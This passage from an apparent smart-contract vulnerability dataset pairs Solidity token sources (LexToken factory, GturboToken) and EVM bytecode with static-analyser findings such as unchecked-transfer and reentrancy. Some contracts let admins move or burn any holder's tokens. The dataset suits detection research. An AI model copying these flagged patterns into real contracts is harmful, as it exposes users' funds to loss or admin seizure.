ffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa78a9be3a7b862d26933ad85fb11d80ef66b8f972d7cbba06621d583943a40988484604051808381526020018060200180602001838103835284818151815260200191508051906020019080838360005b83811015611b25578082015181840152602081019050611b0a565b50505050905090810190601f168015611b525780820380516001836020036101000a031916815260200191505b5083810382526000815260200160200194505050505060405180910390a360003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b611bcd85611f6a565b611bdb83888888888761226d565b60008673ffffffffffffffffffffffffffffffffffffffff1614151515611c0157600080fd5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611c4f57600080fd5b611ca185600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ce90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3685600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4c90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8883888888888787611fa9565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f06b541ddaa720db2b10a4d0cdac39b8d360425fc073085fac19bc82614677987888887604051808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015611e3b578082015181840152602081019050611e20565b50505050905090810190601f168015611e685780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611ea1578082015181840152602081019050611e86565b50505050905090810190601f168015611ece5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a48573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a350505050505050565b6000808284019050838110151515611f6057fe5b8091505092915050565b80611f9a6402540be400611f8c6402540be400856124e790919063ffffffff16565b61250290919063ffffffff16565b141515611fa657600080fd5b50565b6000611fea866040805190810160405280601581526020017f455243373737546f6b656e73526563697069656e74000000000000000000000081525061253d565b905060008173ffffffffffffffffffffffffffffffffffffffff16141515612204578073ffffffffffffffffffffffffffffffffffffffff166223de298989898989896040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561213857808201518184015260208101905061211d565b50505050905090810190601f1680156121655780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561219e578082015181840152602081019050612183565b50505050905090810190601f1680156121cb5780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b15156121ef57600080fd5b5af115156121fc57600080fd5b505050612220565b811561221f5761221386612691565b151561221e57600080fd5b5b5b5050505050505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006122ae866040805190810160405280601281526020017f455243373737546f6b656e7353656e646572000000000000000000000000000081525061253d565b905060008173ffffffffffffffffffffffffffffffffffffffff161415156124c5578073ffffffffffffffffffffffffffffffffffffffff166375ab97828888888888886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156123fd5780820151818401526020810190506123e2565b50505050905090810190601f16801561242a5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015612463578082015181840152602081019050612448565b50505050905090810190601f1680156124905780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b15156124b457600080fd5b5af115156124c157600080fd5b5050505b50505050505050565b60008282111515156124dc57fe5b818303905092915050565b60008082848115156124f557fe5b0490508091505092915050565b60008060008414156125175760009150612536565b828402905082848281151561252857fe5b0414151561253257fe5b8091505b5092915050565b600080826040518082805190602001908083835b6020831015156125765780518252602082019150602081019050602083039250612551565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aabbb8ca85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826000191660001916815260200192505050602060405180830381600087803b151561267157600080fd5b5af1151561267e57600080fd5b5050506040518051905091505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1614156126bc57600091506126c7565b823b90506000811491505b50919050565b6020604051908101604052806000815250905600a165627a7a72305820b5edfdf5c0ea5bf276c2e0f1461d7cc8b4e359266b9b798cd150f88bb0c24c270029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,208 |
0x9c116669873825c7747b1cb0307a247dc96da60f
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string indexed resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) private _balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_balanceOf[address(this)] = type(uint256).max; // trick to prevent token transfer to contract itself
_mint(manager, managerSupply);
_mint(address(this), saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
uint256 value = msg.value.mul(saleRate);
_transfer(address(this), msg.sender, value);
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceOf(address account) external view returns (uint256) {
return account == address(this) ? 0 : _balanceOf[account];
}
function balanceResolution(address from, address to, uint256 value, string memory resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
_balanceOf[from] = _balanceOf[from].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] memory to, uint256[] memory value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
_balanceOf[to] = _balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] memory to, uint256[] memory value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string memory _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
}
function updateSale(uint256 _saleRate, uint256 saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), saleSupply);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
interface IERC20Transfer { // brief interface for erc20 token transfer
function transfer(address recipient, uint256 value) external returns (bool);
}
contract LexTokenFactory is CloneFactory {
address payable public lexDAO;
address public lexDAOtoken;
address payable immutable public template;
uint256 public userReward;
string public details;
event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, uint256 saleRate, bool forSale);
event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 indexed userReward, string details);
constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
template = _template;
userReward = _userReward;
details = _details;
}
function launchLexToken(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external payable {
LexToken lex = LexToken(createClone(template));
lex.init(
_manager,
_resolver,
_decimals,
managerSupply,
_saleRate,
saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale,
_transferable);
(bool success, ) = lexDAO.call{value: msg.value}("");
require(success, "!ethCall");
IERC20Transfer(lexDAOtoken).transfer(msg.sender, userReward);
emit LaunchLexToken(address(lex), _manager, _resolver, _saleRate, _forSale);
}
function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string memory _details) external {
require(msg.sender == lexDAO, "!lexDAO");
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
userReward = _userReward;
details = _details;
emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details);
}
}
|
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d1461040c578063e5a6c28f1461042157610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610448565b005b34801561027757600080fd5b506102806107f9565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b1610808565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b50610280610896565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108ba945050505050565b34801561041857600080fd5b50610280610a00565b34801561042d57600080fd5b50610436610a0f565b60408051918252519081900360200190f35b60006104737f0000000000000000000000009200c88892ed4f32db9371a45e72bbc34624bb76610a15565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561053357818101518382015260200161051b565b50505050905090810190601f1680156105605780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561059357818101518382015260200161057b565b50505050905090810190601f1680156105c05780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105f35781810151838201526020016105db565b50505050905090810190601f1680156106205780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d80600081146106b1576040519150601f19603f3d011682016040523d82523d6000602084013e6106b6565b606091505b50509050806106f7576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074e57600080fd5b505af1158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f8663caf4d99644a7b67a43c517f166f535c34e993e08c20e4900f7e4521b27598d886040518083815260200182151581526020019250505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561088e5780601f106108635761010080835404028352916020019161088e565b820191906000526020600020905b81548152906001019060200180831161087157829003601f168201915b505050505081565b7f0000000000000000000000009200c88892ed4f32db9371a45e72bbc34624bb7681565b6000546001600160a01b03163314610903576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b03199283161790925560018054928616929091169190911790556002829055805161094b906003906020840190610a67565b5081836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a59846040518080602001828103825283818151815260200191508051906020019080838360005b838110156109c05781810151838201526020016109a8565b50505050905090810190601f1680156109ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390a450505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610aa857805160ff1916838001178555610ad5565b82800160010185558215610ad5579182015b82811115610ad5578251825591602001919060010190610aba565b50610ae1929150610ae5565b5090565b5b80821115610ae15760008155600101610ae656fea26469706673582212206e5c177fd93c6a9621dc880b025314672f3328e62d22fd40f80378b83026ec0c64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,209 |
0xbd8b251810f9ecb7faccd6d066e339d67d2429af
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
mapping(address => bool) internal owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public{
owners[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function addOwner(address newAllowed) onlyOwner public {
owners[newAllowed] = true;
}
function removeOwner(address toRemove) onlyOwner public {
owners[toRemove] = false;
}
function isOwner() public view returns(bool){
return owners[msg.sender] == true;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
bool public transferEnabled = false;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transferEnabled || isOwner());
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to enable transfer.
* @return True if the operation was successful.
*/
function enableTransfer() onlyOwner public returns (bool) {
transferEnabled = true;
return true;
}
/**
* @dev Function to enable transfer.
* @return True if the operation was successful.
*/
function disableTransfer() onlyOwner public returns (bool) {
transferEnabled = false;
return true;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transferEnabled || isOwner());
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address indexed burner, uint256 value);
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(address _address, uint256 _value) onlyOwner public {
require(_value <= balances[_address]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = _address;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
/**
* @title SampleCrowdsaleToken
* @dev Very simple ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract GturboToken is MintableToken {
string public constant name = "GTurbo Token";
string public constant symbol = "GTR";
uint8 public constant decimals = 18;
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e1578063173825d91461024657806318160ddd1461028957806323b872dd146102b4578063313ce5671461033957806340c10f191461036a5780634cd412d5146103cf57806366188463146103fe5780637065cb481461046357806370a08231146104a65780637d64bcb4146104fd5780638f32d59b1461052c57806395d89b411461055b5780639dc29fac146105eb578063a9059cbb14610638578063b187984f1461069d578063d73dd623146106cc578063dd62ed3e14610731578063f1b50c1d146107a8575b600080fd5b34801561012e57600080fd5b506101376107d7565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b506101666107ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610823565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b50610287600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610915565b005b34801561029557600080fd5b5061029e6109cf565b6040518082815260200191505060405180910390f35b3480156102c057600080fd5b5061031f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d5565b604051808215151515815260200191505060405180910390f35b34801561034557600080fd5b5061034e610dbe565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037657600080fd5b506103b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc3565b604051808215151515815260200191505060405180910390f35b3480156103db57600080fd5